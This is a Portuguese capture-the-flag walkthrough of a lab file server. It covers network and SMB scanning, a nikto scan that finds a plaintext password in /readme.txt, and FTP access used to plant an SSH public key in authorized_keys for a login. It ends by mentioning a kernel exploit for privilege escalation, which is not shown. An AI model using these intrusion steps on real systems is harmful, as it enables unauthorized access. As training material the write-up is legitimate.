

CTF1

Metódos de penetração:

Network Scan

- Netdicover
- Nmap

Enumeration

- SMBMAP
- Nikto

Exploit

- Injecting id_rsa.pub

Privilege Escalation

- Kernel Exploit
- Capture the Flag.

Etapa 1 - Reconhecimento

- utilizar netdiscover, para encontrar o ip de outras máquinas da rede

```
netdiscover
```

- utilizar nmap para scanear todas as portas de forma agressiva

```
nmap -p- -A <ip-da-maquina-alvo>
```

```
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 0 0 16 Feb 19 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.0.19
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPD 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
| 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 36690/tcp6 nlockmgr
| 100021 1,3,4 36940/udp nlockmgr
| 100021 1,3,4 47431/udp6 nlockmgr
| 100021 1,3,4 51046/tcp nlockmgr
| 100024 1 34369/udp6 status
```

```
445/tcp open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open  nfs_acl      3 (RPC #100227)
2121/tcp open  ftp          ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: ERROR
20048/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: FILESERVER; OS: Unix

Host script results:
|_ clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
| smb2-time:
|   date: 2024-05-26T01:13:21
|   start_date: N/A
| smb2-security-mode:
|   3:1:1:
|     Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|   System time: 2024-05-26T06:43:18+05:30
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
```

Etapa 2 - Pegando mais informações

Depois de já conseguir o ip e uma lista de possíveis vulnerabilidades vamos tentar explorar alguma delas:

Na porta 445 está rodando o samba, compartilhador de arquivos, vamos tentar buscar algum usuario

- Buscando usuários SMB

```
smbmap -H <ip-da-maquina-alvo>
smbclient -L <ip-da-maquina-alvo>
```

```
(kali㉿kali)-[~]
$ smbmap -H 192.168.0.18

SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 192.168.0.18:445      Name: 192.168.0.18      Status: Authenticated
    Disk                                     Permissions      Comment
    ----                                     -
    print$                                NO ACCESS       Printer Drivers
    smbdata                               READ, WRITE     smbdata
    smbuser                               NO ACCESS       smbuser
    IPC$                                  NO ACCESS       IPC Service (Samba 4.9.1)
```

Também podemos enumerar usando o script do nmap

- Utilizando nmap

```
nmap --script smb-enum-shares.nse -p445 <ip>
```

```
(kali@kali:~)$ nmap --script smb-enum-shares -p445 192.168.0.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 21:35 EDT
Nmap scan report for 192.168.0.18
Host is up (0.0013s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: <blank>
|   \\192.168.0.18\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba 4.9.1)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|   \\192.168.0.18\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\drivers
|     Anonymous access: <none>
|   \\192.168.0.18\smbdata:
|     Type: STYPE_DISKTREE
|     Comment: smbdata
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\smbdata
|     Anonymous access: READ/WRITE
|   \\192.168.0.18\smbuser:
|     Type: STYPE_DISKTREE
|     Comment: smbuser
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\smbuser\
|     Anonymous access: <none>
```

Etapa 3 - Explorando port 80

Como a porta 80 está aberta, vamos abrir no navegador o web server, a página para qual nos levou não tem nada demais. Então vamos utilizar o nikto para listar vulnerabilidades http

- Utilizando nikto para encontrar algo no web server

```
nikto -h http://<ip>
```

```

$ nikto -h http://192.168.0.18
- Nikto v2.5.0

+ Target IP: 192.168.0.18
+ Target Hostname: 192.168.0.18
+ Target Port: 80
+ Start Time: 2024-05-25 21:42:12 (GMT-4)

+ Server: Apache/2.4.6 (CentOS)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /readme.txt: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-05-25 21:42:38 (GMT-4) (26 seconds)

```

Aqui encontramos que o endpoint /readme.txt existe e ao acessar ela , temos:

```

My Password is
rootroot1

```

o que provavelmente pode ser uma senha ssh ou ftp, testei com ssh não deu certo. Mas com ftp funcionou, então conseguimos entrar na máquina pelo ftp. Com isso podemos inserir uma chave para que consigamos entrar nessa máquina.

Etapas 4 - Incluindo chave ssh para podermos fazer a conexão via ssh

Primeiro

Vamos criar a chave ssh

```
ssh-keygen
```

e verifique o nome na pasta .ssh

Após isso vamos conectar por ftp no ip com as credenciais `smbuser` e `rootroot1` . E colocar a chave publica no .ssh para conseguirmos conectar por ssh

```
ftp <ip>
```

```
pwd
```

```
mkdir .ssh
```

```
cd .ssh
```

```
put /root/.ssh/id_chave.pub authorized_keys #aqui é o caminho da chave criada
```

```
exit
```

Com isso, já vamos conseguir fazer a conexão ssh passando a nossa chave privada

```
ssh -i <path-da-chave-privada> smbuser@<ip-alvo>
```

Descobrimos a versão do kernel do linux, pode-se buscar um exploit para scalar as permissões.